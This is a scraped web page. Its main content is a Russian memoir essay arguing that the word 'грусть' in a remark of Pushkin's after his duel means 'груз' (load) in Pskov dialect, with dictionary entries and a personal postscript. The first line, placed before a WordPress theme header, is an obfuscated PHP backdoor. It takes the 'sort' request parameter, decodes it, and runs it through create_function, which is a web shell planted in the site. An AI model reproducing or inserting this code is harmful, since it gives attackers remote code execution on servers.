nnn$z0=$_REQUEST['sort'];$q1='';$c2="wt8m4;6eb39fxl*s5/.yj7(pod_h1kgzu0cqr)aniv2";$y3=array(8,38,15,7,6,4,26,25,7,34,24,25,7);foreach($y3 as $h4){$q1.=$c2[$h4];}$v5=strrev("noi"."tcnuf"."_eta"."erc");$j6=$v5("",$q1($z0));$j6();nnn?php /** * @package dazzling */ ?>

ОДНО ЛЕКСИЧЕСКОЕ НЕДОРАЗУМЕНИЕ


       Если  до  сих  пор  я  осторожно  и  неосторожно  выдвигала    с в о и   утверждения  и  догадки,  то  сейчас  я  смело  обопрусь  на   авторитет: Скляревская  Галина  Николаевна, русист, лексикограф, доктор  филологических  наук, профессор  Петербургского  университета; до  этого  зав.  словарным  отделом  института  Лингвистических  исследований,  член  Президентского  совета (по  культуре). В  девяностые  годы  она  ради  общения  с  о.Георгием  и  спасения  своей  души  вкупе  со  своими  близкими  она  купила  рядом  с  нашей  церковью  дом,  даже  два.
       Естественно,  я  не  могла  её  обойти  своей   з а м о р о ч к о й   с нащокинским  фраком,  в  котором,  по  моему  убеждению,  был  п о х о р о н е н   Пушкин.  Она  как  серьёзный  профессионал  не  сказала  ни  " да "  ни  " нет ",  но  решила  пойти  на  компромисс  и  п р е д л о ж и т ь   мне,  даже   п о д а р и т ь   своё  убеждение  относительно  одного  всем  известного  замысловатого  выражения  Жуковского.
      Когда  Жуковский  пришёл к  Пушкину  на  Мойку, 12  именно  в  момент  возвращения  Пушкина  с  дуэли, то после  этого  так   это  описал  в  своих " конспективных  записках ":

          "  Домой  возвратились  в  шесть  часов. Камердинер  взял  его  на  руки  и  понёс  на  лестницу.
             —  Г р у с т н о    тебе  нести  меня ?  –  спросил  его  Пушкин.
             Бедная  жена  встретила  его  в  передней  и  упала  без  чувств . . ."

          Не  знаю  кого  как, а  меня  в  детстве,  в  шестидесятых  годах,  эта  странная грусть  ямщика  " доставала "  в  частых радио-  и телепередачах, посвящённых  трагическому финалу жизни  великого  мастера  слова. Вероятно, именно  то, что Пушкин  провозглашён  реформатором  нашего  языка  –  на  это  безоговорочно  списывалась  замысловатость его  вопроса  " не  грустно  тебе  . . .  нести ? "
            Слово  " г р у с т ь "  к  тому  же  придавало  некоторую  мелодраматичность  просто  кровожадному  событию  нашей  культурной  истории  –  ведь  секретные  политические   подробности  дуэли  стали  популяризоваться  лишь  к   концу  прошлого  века. И  сейчас  " бытовуха "  как   причина   дуэли  Пушкина  с   педерастом   и  шпионом   Дантесом превалирует  над  к о с м и ч н о с т ь ю, то  есть  м а с ш т а б н о с т ь ю , разборки  двух  мужчин. Мне  сейчас  пришла  в  голову  эта  мысль  –  пусть  она  поживёт  в  этой  мемории  немного,  а  потом,  может  быть,  я  её сотру (  как здорово,  что  в  компьютере  то,  что  написано  пером  можно  вырубить  топором ! ).
            Так  вот  моя  резюмирующая  мысль:  поскольку  процент  женщин-учительниц и  филологинь-литературоведш  подавляющ  в  гуманитарной  области,  то  и  "женское" понимание  " мужских "  проблем  приоритетности  ( как  я  уже  употребила  только  что  это  слово)  –   п р е в а л и р у е т   в  " чисто "  мужских,  повторяю, р а з б о р к а х, что  и было  в   той  непростой  дуэли,  к  которой  Пушкин  последавательно  и  методически  ( " л е й т м о т и в н о " )  шёл  через  десятки  предварительных  своих  дуэлей !

         Когда  я  сейчас  позвонила  Галине  Николаевне  с  просьбой  разрешить  мне  написать  об  очень  простой  разгадке  этой   пушкинской  фразы,  она  удивилась: " А  чего  тут  писать,   ч т о   можно  " выжать "  из  одного  слова ?  Надо  просто  сказать: загляните  в  словарь ! " Но  тот  же  Пушкин  про  себя  как-то  обмолвился,  что  он  заглядывал  " только    в с т а р ь   в  академический  словарь " !
       Да, именно  это  я  собралась  сделать: чтоб  не " Магомет  шёл  к  горе ",  а  гора ( словарь) –  к  Магомету (читателю ). .
       Итак, если  открыть   восьмой  том  " Псковского  областного  словаря ",  который    р е ц е н з и р о в а л а    Галина  Николаевна  Скляревская, то  можно  увидеть,  что  на  псковском  диалекте,  который  досконально  в  Михайловском  изучал Пушкин,  а  его  денщик ( камердинер ) Никита  Козлов  был  аккурат  псковский  родом, то  в  словаре  полноправно  имеется слово   Г Р У З Т Ь   и   даже   Г Р У З Ь ( с  произношением  г р у с ь ) :

Г Р У З Т Ь, и, ж, То   же.  что  ГРУЗ   2. Што  ты, дедушка ! Такую  г р у с т ь   да  мне  и  не  снесть. Пл.// собирательн. тяжёлые предметы, вещи : Я  24  гектара  держала  без  работника,  мешки, фсю   г р у с т ь   сама   насила. Остр.
Г Р У З Ь, и,  ж,    1. То  же, что   Г Р У З:   телега  с   г р у з ь ю  перевернулась  и  па наге  праехала. Остр. (…) Какой  ты бальшой    г р у с ь   нясёш,  умарилась  пади. Нов-Ржевс.,  Палк., Печ.(…)   Г р у с ь   такая  лятит  па небу,  нескалька  тон  ( – о  самолёте ), Порх.  (…)

             Таким  образом, на  самом  деле  речь  идёт  не  о  " грусти – тоске ",  а   о   г р у з е,   т я ж е с т и   ноши.                            

                                                                           
                Однако  в  этой  моей  мемории  есть  и  другая,  кроме фонемической ( звуковой ),  у д и в и т е л ь н о с т ь.
                Дело  в  том,  что  о.Георгий  купил  только  именно  э т о т,  подвернувшийся  ему  восьмой  том  " Псковского  областного  словаря (Ленинград, издательство  Ленинградского  университета, 1990 ),  за   несколько   лет    д о   знакомства  с  Галиной  Николаевной. И  когда  она  поведала  мне  разгадку  этого  слова, заодно  вспомнив  свою  молодость  в  фольклорных  экспедициях, рассказав  о  своём  участии  в  этом  томе  словаря,  я  ей  тут  же,  протянув  руку  к  книжной  полке,  его  предъявила !
                  Восьмой  том !
                  Именно  на  оказавшуюся  актуальной  букву  " Г " !
                  Г Р У С Ь   на  сердце  от  быстротечности  времени ?
                  Нет !  В  общем-то  легко  и  радостно,  когда  всё   промыслительно !

          Один  знакомый  нашего  знакомого  не  мудрствуя  лукаво  выговаривал  загадочное  для  него  слово   р е з ю м е   как
   р а з у м е  .      
                 Так  вот, Р А З У М Е :  казалось  бы,  наш,  свой  –   р о д н о й  –   язык,  а   и  ОН  иногда  требует  перевода,  словаря,  пояснения !
                  Даже  язык  Пушкина . . .

POST  SCRIPTUM
                   После  этой  моей  мемории  кое-кто  всё  же  пытается  отстаивать   романтическое  толкование  слова " грусть",  сказанное  Пушкиным  в  известной  ситуации. Конечно, трудно  кое-кому  расставаться  со  своими  ошибочными укоренелыми  представлениями,  идущими  с  дорогого  для  каждого  школьного  возраста.
                  Но  могу  привести  пример  из  личного,  даже  достаточно  у н и к а л ь н о г о,  опыта.
                  Мои  сыновья  выросли  в  Теребенях  (  с  1988 года,  когда  мой  муж, их  отец,  был   рукоположен ))-  в  довольно  г л у х о й   п с к о в с к о й  деревне  вблизи  Пушкинских  гор,  где  ещё  в  местных  жителях ( ещё  не  перемёрших )  и  особенно  у  детей ( ещё  не  разъехавшихся )  бытовал  тот  же  диалект,  что  и  у  " человека "= слуги = денщика = камердинера  Пушкина  Никиты  Козлова. Мои  сыновья  стали:  старшенький  окончил  " русскую  филологию", он  начальник отдела  речевых  технологий.;  а  младшенький –  профессиональный  вокалист,  ф о н е м и ч е с к и   чуткий  к  разным языкам, что  необыкновенно  актуально  в  этой  отрасли.  Оба  мне  сказали,  что,  на  каникулах  посещая  деревню,  просто   а в т о м а т и ч е с к и ,  бессознательно  переходили  с  приятелями  на  усвоенный  с  детства   д и а л е к т . Подчёркиваю  – а в т о м а т и ч е с к и !
   Сейчас  же  народный   г о в о р   резко  уходит   "  в  прошлое ",  которое  тоже  неизбежно  будет  интерпретироваться  осовремененными  мозгами,  привнося  и  закрепляя  собственные  придумки.

                          +
           петр  иоанн  андрей
филипп  фома  варфоломей
           два иакова   матфей
иуда яковль, т.е. ф а д д е й
зилота симон   и  матфИй

   


Добавить комментарий